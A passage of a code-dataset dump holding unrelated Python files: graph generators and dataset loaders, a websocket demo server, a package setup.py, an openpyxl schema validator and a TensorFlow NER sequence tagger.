component are connected (integer)\n    Output:\n        nx.Graph()\n\n    GOOD PARAMS: [0.53, 1], [0.90, 2], [0.88, 6], [0.88, 10], [0.90, 5]\n    \"\"\"\n    random.seed(seed)\n    G = nx.Graph()\n    nodeCounter = 0 # Keeps track of ID of next available node\n\n    degreeArray = [0 for i in range(0,n)]\n    d = []\n    N = [0 for i in range(0,2)]\n\n    while nodeCounter < n: # Until we reach 'n' nodes...\n        if random.random() < u:\n            if len(d) == 0:\n                continue\n\n            x = random.choice(d) # Pick a node from list\n            N = random.sample(list(G.neighbors(x)), 2) # Pick 2 unique nodes in the list of neighbors\n\n            if not G.has_edge(N[0], N[1]): # If no edge exists between the 2, connect\n                G.add_edge(N[0], N[1])\n                degreeArray[N[0]] += 1\n                degreeArray[N[1]] += 1\n                if degreeArray[N[0]] == 2:\n                    bisect.insort(d, N[0])\n\n                if degreeArray[N[1]] == 2:\n                    bisect.insort(d, N[1])\n\n        else:\n            nodesSoFar = nodeCounter\n            G.add_node(nodeCounter)\n            nodeCounter += 1\n\n            if nodeCounter == 1: # No use in continuing if there is only one node in the graph\n                continue\n\n            a = random.randrange(0, nodesSoFar) # Pick a node in the graph\n            G.add_edge(a, nodesSoFar)\n            degreeArray[a] += 1\n            degreeArray[nodesSoFar] += 1\n\n            if degreeArray[a] == 2:\n                bisect.insort(d, a)\n            if degreeArray[nodesSoFar] == 2:\n                bisect.insort(d, nodesSoFar)\n\n            for i in range(0, k): # Connect k random pairs in the graph\n                N[0] = random.randint(0, nodeCounter - 1)\n                N[1] = N[0]\n\n                while N[1] == N[0]: # Ensure the two nodes are different (no self-loops)\n                    N[1] = random.randint(0, nodeCounter - 1)\n\n                if not G.has_edge(N[0], N[1]):\n                    G.add_edge(N[0], N[1])\n\n                    degreeArray[N[0]] += 1\n                    degreeArray[N[1]] += 1\n\n                    if degreeArray[N[0]] == 2:\n                        bisect.insort(d, N[0])\n                    if degreeArray[N[1]] == 2:\n                        bisect.insort(d, N[1])\n\n    return G\n\n\n\n# =================================================================\n# =           REAL GRAPH LOADERS                                  =\n# =================================================================\n\nGEMSEC_FB_ARGS = ['artist', 'athletes', 'company', 'government', \n                  'new_sites', 'politician', 'public_figure', 'tvshow']\ndef load_gemsec_fb(s):\n    assert s in GEMSEC_FB_ARGS\n    return nx.read_adjlist(os.path.join(DIRNAME, 'snap/gemsec_fb/facebook_clean_data/%s_edges.csv' %s))\n\n\nGEMSEC_DEEZER_ARGS = ['RO', 'HR', 'HU']\n\ndef load_gemsec_deezer(s):\n    assert s in GEMSEC_DEEZER_ARGS\n    return nx.read_adjlist(os.path.join(DIRNAME, 'snap/deezer_clean_data/%s_edges.csv' % s))\n\n\ndef scale_up_graph(G, scale):\n    \"\"\" Takes in networkx graph, converts to nk, scales up by factor, \n        converts back to networkx, and then collects only largest CC \n    \"\"\"\n    nk_graph = nk.nxadapter.nx2nk(G)\n    scaled_graph = nk.generators.LFRGenerator.fit(nk_graph, scale=scale).generate() \n    G_scaled = nk.nxadapter.nk2nx(scaled_graph)\n    conn_comps = list(nx.connected_components(G_scaled))\n    largest_conn_comp = max(conn_comps, key=lambda d: len(d))\n    return G_scaled.subgraph(largest_conn_comp)    \n\n\n\ndef load_highschool(minutes, scale=1):\n    \"\"\" Loads the high school dataset with minutes removed \n        (also scales up by networkit's scaling to given scale factor if > 1)\n    \"\"\"\n    edges = {}\n    with open(os.path.join(DIRNAME, 'snap/highschool/sd02.txt'), 'r') as f:\n        for line in f.readlines():\n            trip = (line.strip().split('\\t'))\n            pair = tuple(sorted([int(trip[0]), int(trip[1])]))\n            duration = float(trip[-1])\n            edges[pair] = edges.get(pair, 0) + duration\n\n    edgelist = [_[0] for _ in edges.items() if _[1] >= (minutes * 3)]\n    G = nx.Graph() \n    G.add_edges_from(edgelist)\n\n    if scale == 1:\n        return G\n    else:\n        return scale_up_graph(G, scale)\n\ndef load_hiv(scale=1):\n    G = nx.read_edgelist(os.path.join(DIRNAME, 'snap/hiv/potterat.edgelist'))\n    if scale == 1:\n        return G \n    return scale_up_graph(G, scale)\n\n\nARXIV_COLLAB_ARGS = ['AstroPh', 'CondMat', 'HepPh', 'GrQc', 'HepTh']\ndef load_arxiv_collab(s):\n    assert s in ARXIV_COLLAB_ARGS\n    return nx.read_adjlist(os.path.join(DIRNAME, 'snap/collab/ca-%s.txt' %s)) \n\n\n\n\n","repo_name":"revbucket/quarantine20","sub_path":"graph_generators.py","file_name":"graph_generators.py","file_ext":"py","file_size_in_byte":10009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"10108212399","text":"import asyncio\nimport websockets\n\nasync def receive_message(websocket, path):\n    async for message in websocket:\n        print(f\"Received message from client: {message}\")\n        \n        response = input(\"Enter response to send to client: \")\n        await websocket.send(response)\n        print(\"Response sent to client\")\n\nstart_server = websockets.serve(receive_message, \"0.0.0.0\", 5000)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()\n","repo_name":"89-oniichan/SE20UARI052_WebSocket_data-exchange","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29405624061","text":"import os\n\ntry:\n    from setuptools import setup\nexcept ImportError:\n    from distutils.core import setup\n\n\ndef open_file(fname):\n    return open(os.path.join(os.path.dirname(__file__), fname))\n\nsetup(\n  name = 'neuri',\n  packages = ['neuri'],\n  version = '1.0.1',\n  license=open('LICENSE.txt').read(),\n  description = 'Python client library for the Neuri API',\n  author = 'Neuri',\n  author_email = 'support@neuri.ai',\n  url = 'https://github.com/Neuri-ai/python-client',  # use the URL to the github repo\n  keywords = [\"api client\", \"neuri\", \"neuri.ai\", \"neuri api\"],\n  classifiers = [\n    'Development Status :: 5 - Production/Stable',\n    'Intended Audience :: Developers',\n    'Topic :: Software Development :: Libraries',\n    'License :: OSI Approved :: MIT License',\n    'Programming Language :: Python :: 3.7',\n    'Programming Language :: Python :: 3.8',\n    'Programming Language :: Python :: 3.9',\n    'Programming Language :: Python :: 3.10',\n    'Operating System :: OS Independent'\n  ],\n  long_description=open_file('README.rst').read(),\n  long_description_content_type=\"text/markdown\",\n  install_requires=[\n    'requests'\n  ],\n  python_requires='>=3.7'\n)","repo_name":"Neuri-ai/python-client","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6564411666","text":"from __future__ import absolute_import\n# Copyright (c) 2010-2015 openpyxl\n\n\nimport os\nfrom zipfile import ZipFile\n\nfrom lxml.etree import XMLSchema\nfrom lxml.etree import parse\n\n# Provide schema based validators, lxml required\n# use schema.validate(Element) or schema.assertValid(Element) for messages\n\nSCHEMA_FOLDER = os.path.join(os.path.dirname(__file__), 'schemas')\n\nsheet_src = os.path.join(SCHEMA_FOLDER, 'sml.xsd')\nsheet_schema = XMLSchema(file=sheet_src)\n\nchart_src = os.path.join(SCHEMA_FOLDER, 'dml-chart.xsd')\nchart_schema = XMLSchema(file=chart_src)\n\ndrawing_src = os.path.join(SCHEMA_FOLDER, 'dml-spreadsheetDrawing.xsd')\ndrawing_schema = XMLSchema(file=drawing_src)\n\ndrawing_main_src = os.path.join(SCHEMA_FOLDER, \"dml-main.xsd\")\n\nshared_src = os.path.join(SCHEMA_FOLDER, \"shared-commonSimpleTypes.xsd\")\n\nsml_files = ['xl/styles.xml']  # , 'xl/workbook.xml']\n\n\ndef validate_archive(file_path):\n    zipfile = ZipFile(file_path)\n    try:\n        for entry in zipfile.infolist():\n            filename = entry.filename\n            f = zipfile.open(entry)\n            root = parse(f).getroot()\n            if filename in sml_files or filename.startswith('xl/worksheets/sheet'):\n                if root.get('{http://www.w3.org/XML/1998/namespace}space'):\n                    # not allowed by schema\n                    del root.attrib['{http://www.w3.org/XML/1998/namespace}space']\n                sheet_schema.assertValid(root)\n    finally:\n        zipfile.close()\n\n\n","repo_name":"theorchard/openpyxl","sub_path":"openpyxl/tests/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"77"}
+{"seq_id":"28401920430","text":"import os\n\nimport numpy as np\nimport sklearn\nimport tensorflow as tf\n\nimport ner_model_utils\n\n\nclass SequenceTagger:\n\n    def __init__(self,\n                 word2ind,\n                 ind2word,\n                 char2ind=None,\n                 use_chars=False,\n                 save_path=None,\n                 restore_path=None,\n                 epochs=30,\n                 batch_size=64,\n                 num_layers=1,\n                 rnn_size=256,\n                 char_rnn_size=100,\n                 n_hidden_dense=50,\n                 embedding_dim=300,\n                 char_embedding_dim=50,\n                 keep_probability_i=0.825,\n                 keep_probability_o=0.895,\n                 keep_probability_h=0.86,\n                 keep_probability_d=0.93,\n                 keep_probability_e=0.986,\n                 learning_rate=0.01,\n                 learning_rate_decay=0.90,\n                 learning_rate_decay_steps=100,\n                 max_lr=0.1,\n                 use_cyclic=False,\n                 n_tags=10,\n                 clip=5,\n                 train_embeddings=True,\n                 summary_dir=None,\n                 np_embedding_matrix_path=None,\n                 pad_token='<PAD>',\n                 use_crf=False):\n        \"\"\"\n\n        Args:\n            word2ind: Lookup dict from word 2 index\n            ind2word: Lookup dict from index back 2 words\n            char2ind: Lookup dict form char 2 index\n            use_chars: Boolean. Optionally use char level bidir lstm or not.\n            save_path: Path to save the trained tf model to.\n            restore_path: Path to restore a trained tf model from.\n            epochs: Integer. Number of epochs to run in training.\n            batch_size: Integer. Number of points in a single batch.\n            num_layers: Integer.\n            rnn_size: Integer. Number of hidden units in word level lstms.\n            char_rnn_size: Integer. Number of hidden units in char level lstms.\n            n_hidden_dense: Integer. Number of hidden units in dense layer.\n            embedding_dim: Integer. Size of embedding vectors in word level\n                           embedding matrix.\n            char_embedding_dim: Integer. Size of embedding vectors in char level\n                                embedding matrix.\n            keep_probability_i: Float. Values inspired by Jeremy Howard's fast.ai course.\n            keep_probability_o: Float. Values inspired by Jeremy Howard's fast.ai course.\n            keep_probability_h: Float. Values inspired by Jeremy Howard's fast.ai course.\n            keep_probability_d: Float. Values inspired by Jeremy Howard's fast.ai course.\n            keep_probability_e: Float. Values inspired by Jeremy Howard's fast.ai course.\n            learning_rate: Float.\n            learning_rate_decay: Integer.\n            n_tags: Integer. Number of target values.\n            clip: Integer.\n            train_embeddings: Boolean.\n            summary_dir: Path to write tensorflow summaries to.\n            np_embedding_matrix_path: Path to load given embedding matrix from.\n            pad_token: Padding token.\n            use_crf: Boolean.\n\n        \"\"\"\n        self.word2ind = word2ind\n        self.ind2word = ind2word\n        self.save_path = save_path\n        self.restore_path = restore_path\n        self.epochs = epochs\n        self.learning_rate_decay = learning_rate_decay\n        if rnn_size % 2 != 0:\n            rnn_size += 1\n        self.rnn_size = rnn_size\n        self.n_hidden_dense = n_hidden_dense\n        self.batch_size = batch_size\n        self.embedding_dim = embedding_dim\n        self.keep_probability_o = keep_probability_o\n        self.keep_probability_i = keep_probability_i\n        self.keep_probability_h = keep_probability_h\n        self.keep_probability_d = keep_probability_d\n        self.keep_probability_e = keep_probability_e\n        self.num_layers = num_layers\n        self.learning_rate = learning_rate\n        self.n_tags = n_tags\n        self.vocab_size = len(self.word2ind)\n        self.train_embeddings = train_embeddings\n        self.clip = clip\n        self.summary_dir = summary_dir\n        self.np_embedding_matrix_path = np_embedding_matrix_path\n        self.pad_id = self.word2ind[pad_token]\n        self.use_crf = use_crf\n        self.use_chars = use_chars\n        self.learning_rate_decay_steps = learning_rate_decay_steps\n        self.max_lr = max_lr\n        self.use_cyclic = use_cyclic\n\n        if self.use_chars:\n            self.char2ind = char2ind\n            self.char_pad_id = self.char2ind[pad_token]\n            self.n_chars = len(self.char2ind)\n            self.char_embedding_dim = char_embedding_dim\n            if char_rnn_size % 2 != 0:\n                char_rnn_size += 1\n            self.char_rnn_size = char_rnn_size\n\n    def build_graph(self):\n        self.add_placeholders()\n        self.add_word_embeddings_op()\n        self.add_logits_op()\n        self.add_pred_op()\n        self.add_loss_op()\n        self.add_train_op(self.clip)\n        self.initialize_session()\n        print('Graph built.')\n\n    def add_placeholders(self):\n        self.word_ids = tf.placeholder(tf.int32,\n                                       shape=[None, None],\n                                       name=\"word_ids\")\n        self.sequence_lengths = tf.placeholder(tf.int32,\n                                               shape=[None],\n                                               name=\"sequence_lengths\")\n        self.labels = tf.placeholder(tf.int32,\n                                     shape=[None, None],\n                                     name=\"labels\")\n\n        if self.use_chars:\n            self.char_ids = tf.placeholder(tf.int32,\n                                           shape=[None, None, None],\n                                           name=\"char_ids\")\n\n            self.word_lengths = tf.placeholder(tf.int32,\n                                               shape=[None, None],\n                                               name=\"word_lengths\")\n\n\n    def make_lstm(self, rnn_size):\n        \"\"\"Creates LSTM cell wrapped with dropout.\n        \"\"\"\n        lstm = tf.nn.rnn_cell.LSTMCell(rnn_size)\n        lstm = tf.nn.rnn_cell.DropoutWrapper(lstm,\n                                             input_keep_prob=self.keep_probability_i,\n                                             output_keep_prob=self.keep_probability_o,\n                                             state_keep_prob=self.keep_probability_h)\n        return lstm\n\n\n    def make_attention_cell(self, dec_cell, rnn_size, enc_output, lengths, alignment_history=False):\n        \"\"\"Wraps the given cell with Bahdanau Attention.\n        \"\"\"\n        attention_mechanism = tf.contrib.seq2seq.BahdanauAttention(num_units=rnn_size,\n                                                                   memory=enc_output,\n                                                                   memory_sequence_length=lengths,\n                                                                   name='BahdanauAttention')\n\n        return tf.contrib.seq2seq.AttentionWrapper(cell=dec_cell,\n                                                   attention_mechanism=attention_mechanism,\n                                                   attention_layer_size=None,\n                                                   output_attention=False,\n                                                   alignment_history=alignment_history)\n\n\n    def blstm(self,\n              inputs,\n              seq_length,\n              n_hidden,\n              scope=None,\n              initial_state_fw=None,\n              initial_state_bw=None):\n        \"\"\"\n        Creates a bidirectional lstm.\n        Args:\n            inputs: Array of input points.\n            seq_length: Array of integers. Sequence lengths of the\n                        input points.\n            n_hidden: Integer. Number of hidden units to use for\n                      rnn cell.\n            scope: String.\n            initial_state_fw: Initial state of foward cell.\n            initial_state_bw: Initial state of backward cell.\n\n        Returns: Tuple of fw and bw output.\n                 Tuple of fw and bw state.\n\n        \"\"\"\n        fw_cell = self.make_lstm(n_hidden)\n        bw_cell = self.make_lstm(n_hidden)\n\n        (out_fw, out_bw), (state_fw, state_bw) = tf.nn.bidirectional_dynamic_rnn(\n            cell_fw=fw_cell,\n            cell_bw=bw_cell,\n            inputs=inputs,\n            sequence_length=seq_length,\n            initial_state_fw=initial_state_fw,\n            initial_state_bw=initial_state_bw,\n            dtype=tf.float32,\n            scope=scope\n        )\n        return (out_fw, out_bw), (state_fw, state_bw)\n\n\n    def triangular_lr(self, current_step):\n        \"\"\"cyclic learning rate - exponential range.\"\"\"\n        step_size = self.learning_rate_decay_steps\n        base_lr = self.learning_rate\n        max_lr = self.max_lr\n\n        cycle = tf.floor(1 + current_step / (2 * step_size))\n        x = tf.abs(current_step / step_size - 2 * cycle + 1)\n        lr = base_lr + (max_lr - base_lr) * tf.maximum(0.0, tf.cast((1.0 - x), dtype=tf.float32)) * (0.99999 ** tf.cast(\n            current_step,\n            dtype=tf.float32))\n        return lr\n\n\n    def load_np_embedding_matrix(self):\n        \"\"\"\n        Loads embedding matrix from .npy file.\n        \"\"\"\n        embedding_matrix = np.load(self.np_embedding_matrix_path)\n        if len(embedding_matrix.shape) == 3:\n            embedding_matrix = embedding_matrix[0]\n        print('Loaded embeddings from:', self.np_embedding_matrix_path)\n        return embedding_matrix\n\n    def add_word_embeddings_op(self):\n        \"\"\"\n        Creates the embedding matrices on word anc char level,\n        performs the lookup operations and creates the bidirectional\n        lstm on char level.\n        \"\"\"\n        with tf.variable_scope('embeddings_op'):\n            with tf.variable_scope('words'):\n                if self.np_embedding_matrix_path is not None:\n                    embed = self.load_np_embedding_matrix()\n                    self._word_embeddings = tf.Variable(embed,\n                                                        name=\"w_embeddings\",\n                                                        dtype=tf.float32,\n                                                        trainable=self.train_embeddings)\n                else:\n                    self._word_embeddings = tf.get_variable(name=\"w_embeddings\",\n                                                            dtype=tf.float32,\n                                                            shape=[self.vocab_size + 1, self.embedding_dim])\n\n                word_embeddings = tf.nn.embedding_lookup(self._word_embeddings,\n                                                         self.word_ids,\n                                                         name='word_embeddings')\n                word_embeddings = tf.nn.dropout(word_embeddings,\n                                                keep_prob=self.keep_probability_e,\n                                                name='word_embeddings_dropout')\n            with tf.variable_scope('chars'):\n                if self.use_chars:\n                    _char_embeddings = tf.get_variable(name=\"_char_embeddings\",\n                                                       dtype=tf.float32,\n                                                       shape=[self.n_chars, self.char_embedding_dim])\n                    char_embeddings = tf.nn.embedding_lookup(_char_embeddings,\n                                                             self.char_ids,\n                                                             name=\"char_embeddings\")\n                    char_embeddings = tf.nn.dropout(char_embeddings,\n                                                    keep_prob=self.keep_probability_e,\n                                                    name='char_embeddings_dropout')\n\n                    s = tf.shape(char_embeddings)\n                    char_embeddings = tf.reshape(char_embeddings,\n                                                 shape=[s[0] * s[1], s[-2], self.char_embedding_dim])\n                    word_lengths = tf.reshape(self.word_lengths,\n                                              shape=[s[0] * s[1]])\n\n                    _output = self.blstm(char_embeddings,\n                                         word_lengths,\n                                         self.char_rnn_size,\n                                         scope='charlevel_LSTM')\n\n                    # read and concat output\n                    _, ((_, output_fw), (_, output_bw)) = _output\n                    output_ch = tf.concat([output_fw, output_bw], axis=-1)\n                    output_ch = tf.reshape(output_ch,\n                                        shape=[s[0], s[1], 2 * self.char_rnn_size])\n                    word_embeddings = tf.concat([word_embeddings, output_ch], axis=-1)\n\n        self.word_embeddings = word_embeddings\n\n\n\n    def add_logits_op(self):\n        \"\"\"\n        On wordlevel.\n        Bidirectional LSTM(s) + attention + fc layers\n        Returns the logits.\n\n        \"\"\"\n        with tf.variable_scope('logits_op'):\n            with tf.variable_scope(\"bi_lstm\"):\n                inputs = self.word_embeddings\n                seq_lengths = self.sequence_lengths\n\n\n                initial_state_fw = None\n                initial_state_bw = None\n                for n in range(self.num_layers):\n                    scope = 'wordlevel_BLSTM' + str(n)\n                    (out_fw, out_bw), (state_fw, state_bw) = self.blstm(\n                        inputs,\n                        seq_lengths,\n                        self.rnn_size // 2,\n                        scope=scope,\n                        initial_state_fw=initial_state_fw,\n                        initial_state_bw=initial_state_bw\n                    )\n\n                    inputs = tf.concat([out_fw, out_bw], -1)\n                    initial_state_fw = state_fw\n                    initial_state_bw = state_bw\n\n                bi_state_c = tf.concat((initial_state_fw.c, initial_state_fw.c), -1)\n                bi_state_h = tf.concat((initial_state_fw.h, initial_state_fw.h), -1)\n                bi_lstm_state = tf.nn.rnn_cell.LSTMStateTuple(c=bi_state_c, h=bi_state_h)\n                state = tuple([bi_lstm_state] * self.num_layers)\n\n            # LSTM + attention\n            lstm_cell = tf.nn.rnn_cell.MultiRNNCell([self.make_lstm(self.rnn_size) for _ in\n                                                    range(self.num_layers)])\n            attn_cell = self.make_attention_cell(lstm_cell,\n                                                 self.rnn_size,\n                                                 inputs,\n                                                 self.sequence_lengths)\n\n            initial_state = attn_cell.zero_state(self.batch_size, tf.float32).clone(cell_state=state)\n\n            inputs, _ = tf.nn.dynamic_rnn(attn_cell,\n                                          inputs,\n                                          sequence_length=self.sequence_lengths,\n                                          initial_state=initial_state,\n                                          dtype=tf.float32)\n\n            with tf.variable_scope('proj'):\n                # fc layer + dropout layer + output layer\n                nsteps = tf.shape(inputs)[1]\n                output = tf.reshape(inputs, [-1, self.rnn_size])\n\n                output = tf.layers.dense(inputs=output, units=self.n_hidden_dense, activation=tf.nn.relu)\n                output = tf.layers.dropout(inputs=output, rate=self.keep_probability_d)\n\n                pred = tf.layers.dense(inputs=output, units=self.n_tags)\n                self.logits = tf.reshape(pred, [-1, nsteps, self.n_tags])\n\n\n    def add_pred_op(self):\n        if not self.use_crf:\n            self.labels_pred = tf.cast(tf.argmax(self.logits, axis=-1),\n                                       tf.int32)\n\n\n    def add_loss_op(self):\n        \"\"\"\n        Computes the loss.\n        Option 1: crf log likelihood loss.\n        Option 2: cross entropy.\n        \"\"\"\n        with tf.variable_scope('loss_op'):\n            if self.use_crf:\n                log_likelihood, trans_params = tf.contrib.crf.crf_log_likelihood(\n                    self.logits,\n                    self.labels,\n                    self.sequence_lengths\n                )\n\n                self.trans_params = trans_params\n\n                self.loss = tf.reduce_sum(-log_likelihood)\n\n            else:\n                losses = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=self.logits,\n                                                                        labels=self.labels)\n                mask = tf.sequence_mask(self.sequence_lengths)\n                losses = tf.boolean_mask(losses, mask)\n                self.loss = tf.reduce_sum(losses)\n\n            if self.summary_dir is not None:\n                tf.summary.scalar('loss_value', self.loss)\n\n    def add_train_op(self, clip):\n        \"\"\"\n        Creates the training operation.\n        Either cyclic learning rate or exponential one.\n        Optionally gradients are clipped.\n        \"\"\"\n        with tf.variable_scope('train_op'):\n            self.global_step = tf.Variable(0, trainable=False)\n\n            if self.use_cyclic:\n                self.learning_rate = self.triangular_lr(self.global_step)\n            else:\n                self.learning_rate = tf.train.exponential_decay(self.learning_rate,\n                                                                self.global_step,\n                                                                decay_steps=self.learning_rate_decay_steps,\n                                                                decay_rate=self.learning_rate_decay,\n                                                                staircase=True)\n\n            optimizer = tf.train.AdamOptimizer(self.learning_rate, beta1=0.7, beta2=0.99)\n\n            if clip > 0:  # gradient clipping if clip is positive\n                grads, vs = zip(*optimizer.compute_gradients(self.loss))\n                grads, gnorm = tf.clip_by_global_norm(grads, clip)\n                self.train_op = optimizer.apply_gradients(zip(grads, vs),\n                                                          global_step=self.global_step)\n            else:\n                self.train_op = optimizer.minimize(self.loss)\n\n    def train(self, inputs, targets):\n        \"\"\"\n        Performs the training operation.\n\n        \"\"\"\n        with tf.variable_scope('train'):\n            best_score = 0\n            nepoch_no_imprv = 0\n            if self.restore_path is not None:\n                self.restore_session()\n\n            inputs = np.array(inputs)\n\n            if self.summary_dir is not None:\n                self.add_summary()\n\n            for epoch in range(self.epochs + 1):\n                print('-------------------- Epoch {} of {} --------------------'.format(epoch,\n                                                                                        self.epochs))\n                # shuffle the input data before every epoch.\n                shuffle_indices = np.random.permutation(len(inputs))\n                inputs = inputs[shuffle_indices]\n\n                score, acc_without = self.run_epoch(inputs, targets, epoch)\n\n                if acc_without > best_score:\n                    nepoch_no_imprv = 0\n                    if self.save_path is not None:\n                        if not os.path.exists(self.save_path):\n                            os.makedirs(self.save_path)\n                        self.saver.save(self.sess, self.save_path)\n                    best_score = acc_without\n                    print(\"--- new best score ---\\n\\n\")\n                else:\n                    nepoch_no_imprv += 1\n                    if nepoch_no_imprv >= 10:\n                        print(\"- early stopping {} epochs without improvement\".format(nepoch_no_imprv))\n                        break\n            # returning best loss for optimization with skopt.\n            return best_score\n\n    def run_epoch(self, inputs, targets, epoch):\n        \"\"\"\n        Runs a single epoch.\n        \"\"\"\n        batch_size = self.batch_size\n        nbatches = (len(inputs) + batch_size - 1) // batch_size\n\n        losses = []\n\n        for i, (words, labels) in enumerate(ner_model_utils.minibatches(inputs, batch_size)):\n\n            fd, sl = self.get_feed_dict(words,\n                                        labels=labels)\n\n            if self.summary_dir is not None:\n                _, train_loss, summary = self.sess.run([self.train_op,\n                                                        self.loss,\n                                                        self.merged],\n                                                       feed_dict=fd)\n            else:\n                _, train_loss = self.sess.run([self.train_op, self.loss],\n                                              feed_dict=fd)\n\n            if i % 50 == 0 or i == (nbatches - 1):\n                print('Iteration: {} of {}\\ttrain_loss: {:.4f}'.format(i,\n                                                                       nbatches - 1,\n                                                                       train_loss))\n            losses.append(train_loss)\n\n            if i % 50 == 0 and self.summary_dir is not None:\n                self.file_writer.add_summary(summary, epoch * nbatches + i)\n\n        avg_loss = self.sess.run(tf.reduce_mean(losses))\n        print('Average Score for this Epoch: {}'.format(avg_loss))\n\n        if epoch % 1 == 0:\n            valid_loss, _, _, acc, acc_without, n_zeros, n_others, classif_report, classif_report_without = self.run_evaluate(\n                targets,\n                return_loss=True)\n            if self.summary_dir is not None:\n                tf.summary.scalar('acc', acc)\n                tf.summary.scalar('acc_without', acc_without)\n\n            print('Validation Loss on this epoch:', valid_loss)\n            print('Accuracy on this Epoch: {}'.format(acc))\n            print('Classifcation_report:\\n', classif_report)\n            print('Accuracy on this Epoch (except \"O\"s) : {}'.format(acc_without))\n            print('Classifcation_report_without_zeros:\\n', classif_report_without)\n            print('Number of \"O\"s: {}\\nNumber of other Entities: {}\\nIn percent: {}\\n'.format(\n                n_zeros,\n                n_others,\n                n_zeros / (n_others + n_zeros))\n            )\n\n        return avg_loss, acc_without\n\n    def run_evaluate(self, test, return_loss=False, restore_sess=False):\n        \"\"\"\n        Runs a single evalutation epoch.\n        \"\"\"\n        if restore_sess:\n            self.restore_session()\n        preds = []\n        actuals = []\n        preds_without = []\n        actuals_without = []\n        n_zeros = 0\n        n_others = 0\n        losses = []\n\n        for words, labels in ner_model_utils.minibatches(test, self.batch_size):\n\n            if return_loss:\n                loss, labels_pred, sequence_lengths = self.predict_batch(words, labels)\n                losses.append(loss)\n            else:\n                labels_pred, sequence_lengths = self.predict_batch(words)\n\n            for lab, lab_pred, length in zip(labels,\n                                             labels_pred,\n                                             sequence_lengths):\n                # we dont care about the padded ones\n                lab = lab[:length]\n                lab_pred = lab_pred[:length]\n\n                for l, p in zip(lab, lab_pred):\n                    if l == 8:\n                        n_zeros += 1\n                    else:\n                        n_others += 1\n                    preds.append(p)\n                    actuals.append(l)\n                    if l != 8:\n                        actuals_without.append(l)\n                        preds_without.append(p)\n\n        acc = sklearn.metrics.accuracy_score(actuals, preds)\n\n        acc_without = sklearn.metrics.accuracy_score(actuals_without,\n                                                     preds_without)\n        classif_report = sklearn.metrics.classification_report(actuals,\n                                                               preds)\n        classif_report_without = sklearn.metrics.classification_report(actuals_without,\n                                                                       preds_without)\n        if return_loss:\n            avg_loss = self.sess.run(tf.reduce_mean(losses))\n            return avg_loss, actuals, preds, acc, acc_without, n_zeros, n_others, classif_report, classif_report_without\n        else:\n            return actuals, preds, acc, acc_without, n_zeros, n_others, classif_report, classif_report_without\n\n    def predict_batch(self, words, labels=None):\n        if labels is not None:\n            fd, sequence_lengths = self.get_feed_dict(words, labels)\n        else:\n            fd, sequence_lengths = self.get_feed_dict(words)\n\n        if self.use_crf:\n            viterbi_sequences = []\n            if labels is not None:\n                loss, logits, trans_params = self.sess.run([self.loss, self.logits, self.trans_params],\n                                                           feed_dict=fd)\n            else:\n                logits, trans_params = self.sess.run([self.logits, self.trans_params],\n                                                     feed_dict=fd)\n\n            # iterate over the sentences because no batching in viterbi_decode\n            for logit, sequence_length in zip(logits, sequence_lengths):\n                logit = logit[:sequence_length]\n                viterbi_seq, viterbi_score = tf.contrib.crf.viterbi_decode(\n                    logit, trans_params)\n                viterbi_sequences += [viterbi_seq]\n            if labels is not None:\n                return loss, viterbi_sequences, sequence_lengths\n            else:\n                return viterbi_sequences, sequence_lengths\n\n        else:\n\n            if labels is not None:\n                loss, labels_pred = self.sess.run([self.loss, self.labels_pred],\n                                                   feed_dict=fd)\n                return loss, labels_pred, sequence_lengths\n\n            else:\n                labels_pred = self.sess.run(self.labels_pred,\n                                            feed_dict=fd)\n                return labels_pred, sequence_lengths\n\n    def get_feed_dict(self, words, labels=None):\n        \"\"\"\n        Creates the dictionary that is fed to the network's\n        placeholders during training and inference.\n        \"\"\"\n        if self.use_chars:\n            char_ids, word_ids = [], []\n            for sentence in words:\n                ch, wo = zip(*sentence)\n                char_ids.append(ch)\n                word_ids.append(wo)\n\n            word_ids, sequence_lengths = ner_model_utils.pad_sequences(word_ids,\n                                                                       self.pad_id)\n            char_ids, word_lengths = ner_model_utils.pad_sequences(char_ids,\n                                                                   self.char_pad_id,\n                                                                   chars=True)\n\n        else:\n            word_ids, sequence_lengths = ner_model_utils.pad_sequences(words,\n                                                                       self.pad_id)\n\n        feed = {self.word_ids: word_ids,\n                self.sequence_lengths: sequence_lengths}\n\n        if self.use_chars:\n            feed[self.char_ids] = char_ids\n            feed[self.word_lengths] = word_lengths\n\n        if labels is not None:\n            labels, _ = ner_model_utils.pad_sequences(labels, self.pad_id)\n            feed[self.labels] = labels\n\n        return feed, sequence_lengths\n\n    def restore_session(self):\n        self.saver.restore(self.sess, self.restore_path)\n        print('Restored from', self.restore_path)\n\n    def initialize_session(self):\n        self.sess = tf.Session()\n        self.sess.run(tf.global_variables_initializer())\n        self.saver = tf.train.Saver()\n\n    def add_summary(self):\n        \"\"\"\n        Summaries for TensorBoard.\n        \"\"\"\n        self.merged = tf.summary.merge_all()\n        self.file_writer = tf.summary.FileWriter(self.summary_dir,\n                                                 self.sess.graph)\n\n\n","repo_name":"as32608/Named_Entity_Recognition_with_Tensorflow","sub_path":"SequenceTagger.py","file_name":"SequenceTagger.py","file_ext":"py","file_size_in_byte":28390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
